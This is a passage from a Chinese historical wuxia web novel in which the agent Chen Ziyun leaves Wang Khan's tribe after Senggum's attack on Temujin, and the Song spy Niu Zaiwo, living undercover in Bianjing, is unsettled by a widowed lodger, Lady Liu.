“诸位长老,桑昆擅自动兵,对付的还是我的义子,我们部落天然的兄弟,犯了我部落里的规矩,还请各位长老处罚。” 王罕主动替自己的儿子请罚。 那些胡须皆白的老人家,三三两两的凑在一起,低声讨论着,时不时还指点桑昆所在的位置。 没多久,那些长老就得出了最终的结论并把它告诉了王罕。 “好,既然长老们如此决定。” 王罕点点头,眼中虽然有些不忍,可决定还是下的很坚决的。 “桑昆从此不再是部落的首领,部落中的事情暂时由长老会决定。桑昆发配到北方负责冬季的狩猎,为部落提供足够的猎物。” 陈子云低着头,虽然耳朵里听着,却把所有的注意力放在了自己的茶杯上,似乎这个重大的决定与自己丝毫无关似的。 后面王罕安排了一些关于这个决定的具体事务,随后那些长老就被恭敬的请出了营帐,陈子云知道,该是轮到自己了。 “陈先生?” 王罕在短暂的静默之后开口了。 “大汗。” 陈子云语气平静的回答。 “还请先生救我们父子一命,王罕在此拜谢先生了。” 王罕说着就直接往下拜倒。 陈子云不得不伸出手拦下他,一个曾经的王者,竟然能这般的放得下说给自己下拜就下拜,果然是不得了的人物,草原上的枭雄。 “大汗何出此言,还请恕在下愚钝。” 陈子云心里大致能猜到一些,但嘴上自然是不能说出来的。 王罕在顾盼之间将陈子云的表现尽收眼底,随即叹了一口气道。 “哎,我这个混账儿子,竟然在昨天偷袭了他的义兄,我的义子铁木真,害的我们本来要结亲的两家,如今却成了不共戴天的仇人。 我这个做义父的,无颜见自己的义子啊。” 桑昆听自己的父亲如此说,只是把头深深的埋着,也不言语。 “什么?昨天我多喝了几杯,隐约间听到帐外的混乱,竟然是发生了这么大的事情。 那位铁木真的名头,在下可是在南方都听到过的。在我们那边说,草原上的英雄,除了大汗您,就要算他了。” 陈子云故作惊讶的说道。 “不错,铁木真这孩子从小就是与众不同的,这草原上如今的年轻人,也没有一个能比得上他的。” 王罕点头道。 桑昆听到陈子云跟你王罕的这些话,低着的脑袋就要抬起来,似乎要为自己辩驳,可抬到了一半,却又无力的垂下了。 “这次桑昆如此对他,怕是把他得罪死了,恐怕过不了多久就要等来他的报复了。” “大汗,这铁木真不是您的义子吗,就不能……” “哎,虽然这孩子对我很是崇敬,但是桑昆毕竟是我的儿子,就算这次是桑昆自作主张,可我也没有脸面再去为这个逆子说和了。” 王罕说完,那本来还强撑着笔挺的肩背,缓缓的软了下来。 “那大汗的意思是……” 陈子云疑惑的问道。 “我是想请先生为我去铁木真的部落帮我解释一番,不管他有什么条件,我都会考虑答应。” 王罕睁着疲惫的眼睛看着陈子云说道。 “大汗,可我并不认得这位草原俊杰,又如何能参与这样的大事中?况且,在下只是个商人,又如何能让铁木真相信我?” 陈子云连忙摇手,表示自己难当大任。 “先生不用如此,我王罕虽然不是什么了不起的人物,但是总算是活了这么些年。 我的这双老眼虽然已经昏花,但是自问看人从来没有出错过。陈先生从第一天来到我的部落中起,我就知道你绝不是一个普通的商人。 你的胆识,智慧当然还有财富,绝对不是一般的商人能够拥有的。” 王罕停下来,眼睛里射出一些坚定的光芒,就这么直勾勾的盯着陈子云看着。 “大汗,高看在下了。” 陈子云本想糊弄过去,可是那双看着似乎已经浑浊的老眼却还是不肯放过他。 可陈子云也不会就因为对方这样的几句话,就拦下这么个烂摊子,现在铁木真还不知道是生是死呢,自己又不是真的长生天,凭什么让人家就答应能尽弃前嫌? 况且就算铁木真答应了,可按照对方的性格,只要自己的部落实力足够了,还是会毫不犹豫的吞并王罕部落的。 所以在陈子云看来,要么就一鼓作气干掉对方,这个时候去跟铁木真赔罪,还试图缓和两个部落的冲突,实在是有些浪费表情了。 第三百四十二章 威慑 可王罕明显不是这么想的,在他这个年纪的人,已经不再信奉年轻时那种一切靠武力解决问题的方式了。 长久的跟金庭的接触下来后,他渐渐的习惯了用一个官僚的方式去思考。在他眼中,只要给的条件够优越,就没有什么是不能妥协的。 沉默,两个不能相互理解的人就这么尴尬的沉默着,谁也不想先松口。 “姓陈的,别忘了,这可是在我们的部落。” 本来低着头的桑昆开口了,那句话似乎是从他的牙缝里挤出来的。 陈子云诧异的转过头,他从对方的语气中听出了愤怒与羞辱。自己得罪他了,为什么对着自己撒气,不是应该去找铁木真吗? “桑昆统领是说,这里是你们的部落,所以我这个外来户最好还是听你们的,否则你有的是办法收拾我,对?” “是又如何!” “桑昆,你给我住口。” 王罕直接将自己桌子上的银制茶盏给扔了过去。 碰的一声,精准的命中了桑昆的额头,先是嫣红,然后鲜血从他的额角缓缓流下。 “你还嫌自己惹的祸事不够大,不能将我们的部落害的不够惨吗!” 陈子云此时能清晰的看见,桑昆脸上的青筋根根暴起,似乎在说,要不是王罕是他的阿爹,他肯定就直接暴起杀人了。 桑昆终于还是垂下了头,可陈子云也意识到,但凡有机会,这位本来还对自己算是克制的部落首领,一定会想方设法的为难、或者说是直接干掉自己。 哎,看来自己在王罕部落这边是呆不下去了。 “陈先生,还请先生看在我这部落子民的份上,化解这场干戈。我们两父子死不足惜,可这些部众实在是不该死的。 草原上流的血已经够多了,我实在是不希望再有相互杀伐的惨事发生,计算是我这个老人对先生最后的请求。” 王罕言辞诚恳的说道。 陈子云沉默了片刻,随后就拿起桌上的茶杯,冲着王罕一饮而尽。 “大汗,在下就以茶代酒,敬大汗最后一杯。” 说完直接将手中的茶碗直接甩在了地上,当啷声不断。 陈子云转头出了营帐。 “你……” “闭嘴。” 王罕再次喝止了桑昆。 “阿爹,他这么对你……” “蠢货,你不懂就不要说话。” 陈子云依稀还能听见营帐里 虎父犬子,一代不如一代,看来就算是自己能帮着王罕部落,将来这些志大才疏的后辈,终究是要葬送先辈传下来的家业的。 陈子云找到李埋,将大致的情况的跟他交代一番,让他通知他带来的那些人,直接收拾一下,明天他们就离开王罕部落,至于去不去铁木真部落,他还要思量一番。 …… 第二天,陈子云看着已经被塞的满满的车厢,又看看后面那辆人都已经坐在车顶上的马车,一时不明白,怎么会有这么多的东西。 可随即想到,自从商队打通了蒙古与南宋之间的通道之后,自己的生活用具就不停的在往南宋时的生活习惯靠拢。 到了后面甚至连餐具,茶具都是李埋让商队直接从牛家村里带过来的。平时倒是没觉得,可这一旦搬家了,这些零零碎碎的东西加起来就可观了。 “倒是要辛苦你了,老黑。” 陈子云拍拍老黑比磨盘还大一倍的不止的臀部,算是拍牛屁了。 “哞!” 老黑轻声叫唤,对于这点重量,其实并不被老黑看在眼里,一转脖子就轻易的将这看着就恐怖的车厢给拉动了起来。 反而是李埋他们坐着的那辆,由四匹马同时牵引的豪华马车,在起步的时候有些步履维艰的意思。 “李埋?” 陈子云往后招呼了一声。 “没问题的,先生,这些马可是上好的宝马,是千里驹,一定没问题的。” 李埋似乎有些尴尬的催促着负责驾驭马车的那位。 可那人已经将手里的鞭子挥的飞快了,这四匹所谓的宝马,还是在原地刨坑。 “千里马?那我劝你还是把行李放下一些。” 陈子云无奈的提醒道。让擅长于长途奔袭的马来干这事情,就彷佛是用最精美的玉器做筷子。 美则美矣,可惜,即不能咬,又不能用力,还要时刻担心它们碎掉,何苦来哉。 “等等。” 一小队人将陈子云他们的车队围了起来,桑昆那有些不自然的身姿从队伍后面走了出来。 他先是昂着头指着陈子云。 “你可以走。” 随后他又有些痛苦的转身,指指李埋。 “他要留下,你们的商队需要有人在这里负责。” “桑昆山首领,请您不用担心,不管我们在不在,商队依旧是会来的,他们的目的只是赚钱,只要贵部落提供的商品有足够的利润,你就是赶他们,他们也是不会走的,商人嘛!” 李埋笑呵呵的回应道。 “不行,你必须留下。” 桑昆直接没有给李埋好脸色,执拗的非要把他留在这里。 “桑昆首领……” 李埋自然是不愿意的,他来蒙古可不是真的来这里做生意的。 可桑昆显然是不想再听他说什么了,直接一挥手,几个人就要上车直接去绑李埋了。 “我不愿意搭理你。” 陈子云说出第一个“我”字的时候还好整以暇的坐在牛车上,可等最后一个“你”字出口的时候,他已经出现在了桑昆的耳旁。 “是因为你没有这个资格。” 陈子云这半句,就像是鬼吹风一样,透过桑昆的耳朵直达他的灵魂深处,就像是一阵来自黄泉路上的阴风,吹得桑昆的整个骨头架子都凉透了。 桑昆两腿酸软的就要往后摔倒,好在后面有人在给他缓冲了一下,晃了晃身体,勉强的算是站定了,可那苍白的脸色让谁都看的出来,他此时绝对不好受的很。 陈子云刚才的那半句话,是化用了一点黄老邪的碧海潮生曲里的音波功的门道的,像桑昆这种不懂内功的家伙,不做个三天噩梦是别想缓过劲来的。 “你做什么?让开。” 那些反应过来的桑昆的亲兵直接拿刀威胁着陈子云,虽然他们看不出他是如何突然出现在这里的,但是自己首领的脸色就足够说明,他并不欢迎陈子云,这就够了。 第三百四十三章 离开 陈子云自然是不会理会这些人的,只是笑着看着桑昆,看着他哆嗦个不停的嘴唇,以及那已经颤抖的双腿。 “你……不是人……” 桑昆哆嗦的想用手指陈子云,可手刚举到一半,却又自己放下了,似乎怕自己的手指头碰到什么会刺痛自己的东西,赶紧缩了回来。 “桑昆首领,不知道王罕大汗有没有教过你一件事。不要关心敌人是谁,你只要确定你能不能杀了对方,或者对方能不能杀了你,这才是最关键的,不是吗?” 陈子云笑着说道。 桑昆整张脸从刚才的苍白中,瞬间就像是喝迷糊了烂酒鬼一般的红透了两腮。 “走。” 陈子云朝着后面的马车招呼了一声,老黑心有灵犀的一声吼叫直接开拔,也不管前面的人自觉不自觉的让道了。 要是这些桑昆的手下真的不上道,那老黑也就只能直接从他们身上踏过去了,反正以它的力量,将这些人踩死绝对不用第二脚就是了。 …… 刚出了王罕不落地范围,陈子云就让李埋跟自己分开了。 “你在草原上的任务结束了,以后让商队自己跟王罕部落对接就是了,你回去将这里的情况详细的分析给陛下。” “先生?这是为何,陛下那边自然有消息会传过去,好不容易才和王罕部落搭上线,就这么放弃吗? 光是商队的来往,恐怕我们没法收集到草原上最核心的消息啊。而且他们不是让我们去接触铁木真吗,这正是好机会……” 李埋还想继续往下说,陈子云却是抬起手示意他先停下了。 “王罕部落经过桑昆这一次的刺杀,已经不可能跟铁木真的部落共处了,就算铁木真可能会为了大局忍一时,可他忍不了一世。 而且就算他想忍,桑昆父子也不会再看着他继续发展下去了,两个部落之间的大战不过是时间问题。 而且我已经稍稍的加速了一下这件事情的进程,只要以后商队能给王罕部落提供相应的帮助,他们就能有效的拖延铁木真的发展,我们来草原的目的基本就算是达成了。” 陈子云道。 “先生,加快了进程?” 李埋瞬间就抓住了陈子云话中的关键问道。 陈子云笑着点点头,对于李埋的表现很是满意。 “先生可否给学生解惑?” “我……加速了王罕的衰老。” “什么?” 李埋有些不确定的问道。 “先生下毒了?” 陈子云摇头。 “再慢性的毒药也会被人察觉的,我只是用了一些小技巧,让这头老狮子的心脏跳的更快了一些。 谁都不会察觉,就连王罕自己,也只会认为是大限将至。” 李埋的眼神中诧异了几秒,然后略作思索状。 “不错,王罕要是死了,桑昆一旦成为大汗,一定会迫不及待的找铁木真的麻烦的。 到时候两边一打起来,有了我们的帮助,一定能让草原上的有生力量元气大伤。” “不错。但是我倒是觉得,这场战争来的会更早些,而且发起这场战争也不需要王罕死之后,只要他觉得自己不久于人世,就会主动的挑起战火。” “王罕?他不是一直都不想跟铁木真……” “也许,在他活着的时候,身体还好,还没有发生刺杀事件的时候,王罕可能是真的这么想的。 可这人啊,想法总是在变的,尤其是对于一个将死的老人,看到自己的子孙不孝,不可能是铁木真的对手的时候。 那他就没有别的选择了……” 陈子云道。 “先生,你是说王罕,他会主动与铁木真交战?” 李埋有些不能接受,这段时间根据他对于王罕的观察,这位已经没有了牙齿的昔日王者,怎么看都不像是能主动发动战争的人物,更像是一位只求安度晚年的和事老。 这样的人,李埋已经在南宋的朝堂上见多了,那些躺在自己功劳簿上准备寿终正寝,赢个相安无事的老臣,不就是这幅样子吗。 这样的人,真的会主动挑起战争? “李埋你还小,等你什么时候为人父的时候,就能明白,一个父亲对于孩子的感情,到底是怎么一回事了。” 陈子云道。 “李埋受教。” “好了,走,赶紧回去,草原上的情况你现在也基本清楚了,等你回去之后,估计茵萝还是会让你接手这方面的事情,到时候你也不用担心没有机会一展所学。 大宋将来,还要你们这样的年轻人去扛着,到时候别说辛苦就好了。” 陈子云挥挥手,示意老黑往草原的深处而去。 “恭送……先生。” 李埋执手下拜,你那些跟着他一起来的也全部躬身送行。 …… 牛在我在金国已经有了半年,现在他也不用再担心自己因为在南宋养成的生活习惯会在金国暴露身份,他已经完美的融进了汴京的生活。 隔壁的老寡妇兼职红娘李大妈,对门的卖体力尾声老刘头一家,还有各位开着小店邻里街坊,虽然不一定都熟悉,但是见到了点个头,问一句“吃了吗?” 这样的情分,就是在如今的汴京城里可以说是赶得上趟的好关系了,自从南宋跟金国开战以来,两国的边境就战乱不止。 相应的,国家内部对于间谍的排查也就没有停止过,都怕一个不小心就陷阱了奸细的圈套中,浑然不知的替别人背了锅,所以各种交际也就只能停留在用时间积累起来的确定关系中。 像牛在我这样,不过是定居到汴京半年时间的外来人,能被这里的街里街坊接受,已经是很了不得的事情了。 “牛小哥,这么早出摊呢。” “是啊,李大妈。” “这个时候,怕是没有人会去找你磨刀哦。” “嗯,不急的,我先去摊位上等着。” “啊,那多浪费啊,这样,你先帮我把这些瓦片搬到屋里,哎,昨天一场大雨,把我的屋顶都糟蹋成水帘洞了。” 李大妈指着那一堆不少的青瓦,丝毫不客气的说道,因为牛在我在他们眼中就是个乐于助人的好小伙形象,平时找他帮忙从来就没有不答应的,久而久之也就不再客套了。 第三百四十四章 邻里 “好的,李大妈,您别急,我直接帮你把屋顶补好了再去街上,反正这个时候也没什么人。” 牛在我憨厚的笑着,这倒不是他全然是为了掩藏身份才巴结邻居的,在牛家村的时候,他就是出了名的老好人,但凡有人找上门,从来没有往外推的时候。 也正是因为如此的本色出演,才让这条街上的邻里街坊能在短时间内放下了防备,将牛在我当成了自己人。 “牛小哥,修屋顶呢?” 一个挑着馄饨担子的中年人从街旁走过,朝着站在梯子上摆放瓦片的牛在我招呼道。 “是啊,冯叔,还麻烦您,把混沌放我摊位上,我马上就去,钱我到时候给你。” 牛在我擦擦额头的汗珠笑着道。 “好嘞,还是加蒜加辣,看你这活计,我给你盖个碟子,审的凉了。” 这位姓冯的馄饨惯性的用大嗓门吆喝着,引的周围刚起床的老少们,纷纷隔着墙,打起了招呼。 “好的,冯叔,劳烦您了。” 牛在我客气的说道。 “这蒜什么劳烦的,馄饨冯,今天牛小哥给我老婆子出力气呢,这顿早饭,你可给我仔细了,要是碗里没有三十个馄饨,这混沌里没有紧实的馅料,小心我告你媳妇去。” 李大妈从门口弹出去,毫不客气的朝着这混沌冯嚷着。 “嘿,我说李大姐,我馄饨冯卖了一辈子的馄饨了,大碗20个,小碗15个,还真没见过一碗里30个馄饨的,这哪里还能是馄饨,这连汤水都浇不下去了呀。” 馄饨冯笑用他那习惯了的要喝嗓子回答。 “嘿,你少给我来这一套,买馄饨,难道还是为了买你的清汤寡水?三十个,一个不能少。 少一个,我就到冯嫂子面前念叨你一句坏话,你自己看着办。” 李大妈毫不妥协,语气还格外的高调,引得周围在屋子里都能听得见的街坊们纷纷大笑。 “哈哈哈,李大姐,我馄饨冯谁也不服,就服您了,三十个馄饨一个不少,保证安安稳稳的在牛小哥的摊位上等着他,我还单独送上一碗馄饨汤。 而且,这顿分文不要,就算我馄饨冯请牛小哥的,谢谢牛小哥帮着咱们李大姐修屋顶,您看小弟我这还算上道不?” “哼,这还差不多。” “哈哈哈……” 众人皆是大笑不止,连在梯子上忙活的牛在我也跟着笑着。 李大妈之所以能这么的得势不饶人,主要还是因为她做媒的年数实在是太老了,不知道撮合成了多少对人物。 而且这位媒婆难得没有昧着良心只管收礼金,把年纪大的说成知道疼人,把弯腰驼背的说的秀外慧中。 撮合成的几对夫妻,多是和和睦睦的,也就对这位促成好事的李大妈多了几分感谢。 这位馄饨冯叶就是其中一个,本来一大把年纪的光棍汉子,要是没有李大妈在其中穿针引线,哪里能这般顺心的讨得媳妇。 邻里街坊自然也是知道这事的,所以对于李大妈压着馄饨冯早就见怪不怪了。 “卖混……沌喽……” 粗中带细的吆喝声中,这条老街的早晨就算是彻底的被唤醒了。 牛在我熟练的将瓦片搬上房顶,一片片根据形状大小,找到合适的位置覆盖上去。 对于这样的活计,自然是难不住牛在我的,别说是这样的砖瓦房,就是乡间最简陋的茅草房,他也是十分清楚,该怎么修整才能让房子更耐雨水的侵蚀的。 …… 牛在我的小摊上,磨的最多的就是各种样式的剪刀,大的小的,裁缝用的裁衣剪,小媳妇用的小金剪……反倒是家里必备的菜刀磨的还少些,想必是这时候的人都习惯了在水缸边沿上自己随意的蹭几下就算是磨过了。 至于那些要用刀来维系自己职业的,比如屠夫猎人之类的人,必然是自己就备着磨刀石的,也就轮不上来照顾牛仔我的生意了。 不过牛在我也不是真的靠这么算不上手艺的行当吃饭,有生意就做,没生意的时候就拿出一块不到三寸的小铁片磨着。 可这铁片也是奇怪,要是换做一般的物件,经过牛在我这么些时候的打磨,早就应该变得锋利无比才是,可这块貌不惊人的小铁片却始终没有什么变化,依旧是未开刃的摸样。 这就是陈子云在牛在我离开的时候给他的作业了,一直以来牛在我学的二十四节气惊神指已经是登堂入室了,可那被看刀法却一直差强人意。 不管陈子云怎么仔细的解释,牛在我学的了招式,却是学不会那种意境,没办法陈子云只能想出了这么个本办法,托黄药师找了一块罕见的天外陨石,提炼出一些金属来,打造成一把大致的刀型。 然后让牛在我亲自给这把小刀开锋,这把小刀的硬度是世间罕见的,比一般的铁器不知要坚硬多少倍。 当时牛在我第一次磨刀就发现,辛辛苦苦的一天磨下来,根本没有磨掉多少铁屑。 不过好在牛在我最大的性格特征就是耐得住性子,他自知天赋不高,却对所有陈子云交代的事情都特别的用心。 别人学一遍就能明了的事情,他就算是学上好几遍也不会烦躁,反而自己一个人的时候还能越发的认真。 所以这把刀胚子到了牛在我手中之后,就没有一天不磨的,哪怕再忙碌,他也会选择在睡觉之间磨上几回,好像就把这套熟练的不能再熟练的动作变成了一种仪式。 “沧浪……沧浪……” 小刀与磨刀石的切磋之声,仿佛在牛在我的手中交织成了一片迥异的乐章。 “沧浪……沧浪……” “老弟啊,你这手艺真是这个。” 在牛在我旁边摆凳子、椅子的小木匠刘朝着牛在我竖起了大拇指夸赞道。 “刘哥,你夸奖了,就是磨刀而已,哪里算得上什么手艺。” 牛在我不好意思的回复道。 “诶,牛老弟,话不能这么说,再小的手艺,那也是咱们养家糊口的玩意儿。你看老哥我,要说我是个木匠,可建屋架梁的本事,你那是没有的,可这街里街坊的哪个不夸一句老哥我做的木头板凳实在。 诶,所以说啊,老弟,我告诉你,这手艺固然有大小之分,老哥我虽然只是个小木匠,可也养活着一家子呢。” 木匠刘拍拍自己的胸脯子眼里满是豪气的说着。 第三百四十五章 柳夫人 “刘老哥说的是,这前前后后几条街的邻居,哪家哪户没有您做的几条木椅子的。” 牛在我表现出衷心的佩服道。 “嘿嘿,你也不差,这里里外外,不都是找你在磨刀子的吗。“ 木匠刘听的心满意足,自然也就不吝啬夸赞一番牛在我这个小后生的。 牛在我将心思都放到连自己的这柄天外陨石制成的刀胚子上,不再跟这位每天总是要借着自己的嘴巴听几句奉承话的邻居。 …… “嘟嘟嘟……” “牛小哥,牛小哥,开开门呢,是我,李大妈。” 牛在我将桌子上的情报一挥手就全部拢进了自己的衣袖里,神色莫名的朝着门口看了一眼,这个时候。 牛在我迟疑的看了看院子里已经升到半空的明月,可不会应该有人来打搅自己才是啊。 摸了摸怀中那片不曾离身的小刀,缓步到了前院,笑着打开了大门。 “李大妈,这么晚……” “哎呦,牛小哥,怎么这么久才开门,可是急死个人了。” 李大妈直接就进了门,还把后面跟着的一位年纪不大的女人带了进来,头上是妇人的发誓,可年纪也就与牛在我相仿。 “牛小哥,这是我新招来的房客,本来是刚住进来的,可不巧我那乡下的亲戚来了,也没提前给我打个招呼。 可他们来了,我总不好让他们住客店去,所以就跟柳夫人商量,让她先来你这边对付几晚,等我把那几个穷亲戚打发了,到时候再给两位赔不是。 到时候,李大妈做东,请你跟夫人喝两杯,就这样啊,我还得回去招呼人去,真是的,在这个时候来,真是……” 李大妈也不等牛在我答应,就轻轻推了一把那位柳夫人,自己却是从门里出去了。 “李……” 就是本事高如牛在我,也没能阻拦住对方的自说自话,就在这么将一个他素不相识的女人留在了他的屋内。 “柳……” 牛在我有些不知所措的看向这位夫人。 “牛小哥,妾身叨扰了。妾身也是没想到李大妈会这么安排,可以后还要同住一个屋檐,还请牛小哥多多包涵。” 柳夫人虽然不是说什么国色天香的美人,可这举手投足之间展露出来的成熟知性的仪态,绝不是一般人家的小妇人能有的。 “岂敢,小生自然是没什么的,只是于夫人的名节……” 牛在我是来金国做间谍头子的,可不希望有人时刻在自己眼皮子底下活动,万一被发现了什么,那不是大祸临头。 “牛小哥不必介怀,夫家命薄已经故去了,妾身如今孑然一人,不归娘家管,也不招夫家待见,最不怕的就是所谓的名节了。 只要是不耽搁牛小哥就好。” 柳夫人在月下微微俯首低眉行礼作揖,就像是那池塘边的烟柳,在初夏的微风下摇曳着自己的嫩枝。 这样的柔和仪态不是少女能做出的,只有温柔进了骨子里的小妇人,才能演绎出这般的柔美。 牛在我沉默了,不是因为这妇人诱人的身姿,他不缺这点定力,只是一时之间他找不到合适的理由,将这个来历不明的人物赶出自己的院子。 要是直接来硬的,那他花了这些时间在邻居面前打造的人设就直接崩塌了,说不定还会引起金庭的注意,那就…… “夫人要是不嫌弃,倒是可以在厢房暂时住下,只是里面却没有备用的被褥……” “无碍的,妾身不是那些十指不沾阳春水的丫头,这些年来,苦活累活都做得,何况这些小事。” “那就请夫人随我来。” 牛在我只好先硬着头皮将人收下了,领着这位柳夫人来到了一间空着的厢房,平时他也用不到也就随他空置着。 “夫人等等,我去拿抹布来打扫一番,您再进。” 牛在我刚开门就闻到了一股沉积许久的灰尘的怪味,这个房间在他住进来之后就没有花功夫打扫过,那厚厚的一层白灰,简直快把整个房间都盖满了。 “不用如此麻烦了,也就是应急,妾身自己擦拭一番就是了。” “不,不,那怎么行,您稍等我马上就来。” 牛在我打了一盆水,拿了一块抹布就要进屋打扫一番,柳夫人却是直接抓着了那盛水的铜盆。 “小哥给我,这些洒扫的事情,怎么能让你这个主人家来。” 柳夫人的手在端住铜盆的时候,不经意间与牛在我的手背相碰,这本来也是正常不过的接触,可牛在我瞬间就被那柔软温凉的触碰一惊,下意识的就放开了铜盆。 好在柳夫人已经用上了力道,没让铜盆当场打翻。 牛在我愣愣的呆住了片刻,他虽然还没婚配,可也不是说连女人都没见过。 在陈子云的教育下,男女之事也是心知肚明的,而以他在南宋的身份地位,家里的门槛早就被说亲的媒婆给踩烂了好几根了。 之所以牛在我还是未婚,一来是他自己没心思放在这些琐事上,二来是他自己的心也高了。 不是说一定要找个多么达官显贵家的女儿,而是渴望遇见一个自己先生所说的那种不求金玉满堂,但求心心相映。 要是娶个只知道相夫教子,低眉顺眼的贤妻自然是简单的,可这一生就在举案齐眉的恭敬中,那实在是没有多少可期待的。 至于说三妻四妾,连自己的先生都不曾,甚至那位已经贵为千古一帝的师母也没有在朝臣的压力下纳妃,他牛在我有什么资格肆意妄为。 所以,牛在我这个对什么物质条件都不讲究的好好先生,在对于自己另一半的选择上却是要求高的离谱。 千金易得知己难求啊,还有什么是比这样的要求更奢侈的。 可这位柳夫人,不过是跟他稍稍有了身体的触碰,却似乎在不经意间就撩拨动了他那根不曾动摇过的心弦,这如何不让他意外。 牛自我强忍着自己的冲动,也不再跟柳夫人客气,草草的告辞一声,就回到了自己的房间中。 第三百四十六章 心乱 本来他是应该将刚才被打断的,没有看完的情报拿出来研究分析的,可他摸着自己左胸那似乎要跳出胸腔的震动,如何还能静的下心来。 这可不是什么好兆头,如今牛在我身处敌营,哪里是分心的时候,这突来的异样,不仅现在乱了他的心,这要是因为自己的私情乱了分寸,导致那些刚刚布置妥当的暗探出了问题,那不就是功亏一篑吗。 牛在我按在自己的脉门上,随着心跳的加剧这脉象也是乱的一塌糊涂,要不是他肯定自己没有中毒的迹象,都要怀疑,是不是那位柳夫人或者是李大妈,或者就是早上的那碗馄饨里下了药。 用冷水洗脸,用辛辣的东西提神,甚至用细针织扎自己,牛在我用了他能想到的所有方法刺激自己。 他要确认自己现在的感觉是不是真实的,以此来判断他还能不能在汴京冷静的展开后续的工作,还是趁早离开,以免自己陷入一种不可控的情形中。 要是此时是在临安,是在牛家村,在他熟悉的格物书院里,那对于这样的异样的感觉,奇妙的情感的爆发,牛在我是会悻然接受的。 他自小就看着陈子云跟赵茵萝的伉俪情深,自然对这对让他羡慕的师傅师母之间的感情向往不已。 就算因为一些原因,他最终选择了跟着陈子云离开,可那并不是师傅师娘之间感情出了问题,而是其他的因素导致了他们的分别,但是在他们心中其实时刻都没有真正的放下对方。 这对于在后面负责两人沟通桥梁的他来说是最清楚不过的。 晨曦破晓,一缕带着朝露一起降临人间的晓光,透过牛在我的床头的小窗洒在他一夜都未曾合上的眼睛上。 本来就是几天不睡也不会疲累的身体,如今不过是一夜未眠,双眼已经是通红的血丝,好像人一旦动了情,这样辗转反侧的思索,却是将这个健壮的身体里的精神都耗尽了似的。 牛在我缓缓的起身,体会着他自从跟着陈子云练武之后就不曾体会过的疲惫,将桌上早就凉透了的茶水一饮而尽。 本来如此的消耗,就算是躺在床上也早就应该感受到饥饿,可牛在我只是感觉到口渴,渴的好像追日的夸父,能喝下长江黄河的一江一河之水。 可肚子里明明空空如也,却是没有半点的食欲。他现在最大的欲望,是制止自己脑子里是不时要蹦出来的,那位柳夫人的曼妙身姿。 牛在我不敢出门,因为他不主动万一遇到那个房间里出来的柳夫人,他要如何开口,如何说话,如何打招呼。 自己会不会唐突,这般收留一个女人在家里,会不会让对方觉得自己轻薄,还有昨天自己那般无礼的将打扫的活计留给客人实在是过分…… 牛在我将耳朵贴在自己的门上,听着院子里还不曾停歇的轻微的虫鸣,终究还是太早了些,这个时辰,就是最勤快的伙计也还在犹豫着要不要起床开门。 直到确定对面的房间里的人还在睡梦中不曾醒来,牛在我才敢打开房门,蹑手蹑脚的出去打水洗漱。 也不回屋子了,就在井边三手两脚的抹了一把脸,就直接出摊了,要是遇见了柳夫人,牛在我都不知道是说早上好,还是问吃了吗。 这一天牛在我都是神不守舍的,他此时也分不清自己到底是怎么了,就是连磨刀的时候都差点割到了自己的手。 别说牛在我是个功夫练到了万中无一的高手,就是一般的磨刀师傅,哪里会在吃饭的家伙事上犯错的,那不是砸自己饭碗吗? 牛在我这一天将自己这辈子读过的圣贤教诲,万卷书册都在脑子里翻遍了,就是找不出跟自己现在情况对症的说法。 色迷心窍,还是心猿意马;可就是念再多的空空色色也挡不住心中的念想,至于说在陈子云跟桃花岛上学的那些个医学毒理,更是没一个能对上的。 “劫难来了,这次怕是在劫难逃啊!” 牛在我手中的刀一用力,下面垫着磨刀石的青石砖应声而断,要是有人将这断块拿起来端详,就会发现,这缎纹平整的就像是用刀切豆腐一般的光滑。 旁边的摊位上的熟人问他怎么了,是不是不舒服,牛在我也就接过话头说是要去医馆,早早的收了摊。 可以牛在我的身体,十来年都没进过医馆了,而且以陈子云跟你黄药师的水准,哪里还有什么病是他们看不了,却要去找那些庸医的。 他不过是趁机出了汴京城,找了一个没人的僻静处,好好的发泄了一番,从指法刀法,拳法掌法,肆无忌惮的发泄着心中的忐忑之情。 没有什么比一段不受控制的感情,对一个间谍的威胁更大的了,牛在我深刻的知道,不管是不是自己着了别人的道,还是自己的情劫来了,他都不能在这个时候分心。 儿女情长,在这里就真的可能幻化成为英雄冢,不仅埋葬自己,还能埋葬那些同志,甚至连累国家的命运。 随着周围的不断破坏,牛在我也变得衣着散乱,披头散发,满身大汗,凉风一吹,终于是将心中的欲念给冷却了不少。 牛在我靠着一颗被他折断了支杆的老杨树坐下,整理了一下自己的形象,等这一身热汗散发的差不多了,他才起身回家。 等牛在我回到家中,见许久不曾冒出炊烟的烟囱上,竟然在徐徐的冒着青烟,他的脚步听你顿的一瞬,一种异样的期待在他心中升起。 在推门进屋的刹那,牛在我也不知道为何,口中很自然的就脱口而出一句:“我回来了。” 随即他整个人就楞在那里,不是因为那个从厨房探出头来招呼的柳夫人,而是自己那种从来都不曾有过的态度。 习惯了一个人的家,从来没有其他人进来过的地方,为何自己会这么的问候一声。 “牛小哥,你稍等,饭就快好了,我炖了两个菜,也不知道你喜欢吃什么,问了李大妈也不清楚,我就按照自己的口味做的,你别嫌弃。” 第三百四十七章 搬家 “不,怎么……” 牛在我强行命令自己刹住了话头,以免自己的那卑微的语气让自己觉得丢脸。说来也怪,这段时间为了融入街头巷尾的生活中,不知道扮演了多么和善谦卑的形象。 打不还手骂不还口本来就是一个合格的间谍的基本素养,要说比起在这简单的应对,跟那些街头的混混们讨价还价不是更加的不堪吗。 可不知为何,牛在我就是不愿意在柳夫人的面前,表现出丝毫的卑贱形象,不想让自己委屈,更不想让对方觉得自己就是这般的模样。 牛在我第一次在一个异性面前,这么在意自己的形象,不管是外在的,还是品格上的。 一锅有些微微焦糊了米饭,中间还有些夹生的米粒,牛在我一看就知道是水放少了,火烧大了。 至于那一罐子炖肉,咸淡倒是差不多,可肉皮上的猪毛都没处理干净,要是换做平时,牛在我连动筷子的欲望都没有。 “嗯嗯,肉挺好吃的。” 牛在我说的可没有丝毫的违心,他现在还为自己能大胆子说出这句恭维的话而感到开心,似乎他自己就是那个被夸奖的人。 柳夫人吃了一口自己做的夹生饭,有些红着脸嚼两下就咽下去了。 “我还没用习惯你们家的灶台,有些没把握好,我平时……” “不不,已经很好了,我也不怎么开火,这里的锅灶还麻烦您清洗了。” 牛在我连忙解释道。 “这……那你平时是如何就餐的?” 柳夫人好奇的问道。 “偶尔也会去外面吃,大多数就是午饭的时候多吃些,晚上基本可以不吃东西,哦,我的午饭是跟街面上的小摊主一起吃的。” 牛在我解释道。 “嗯……” 柳夫人低着头轻声的回应道。 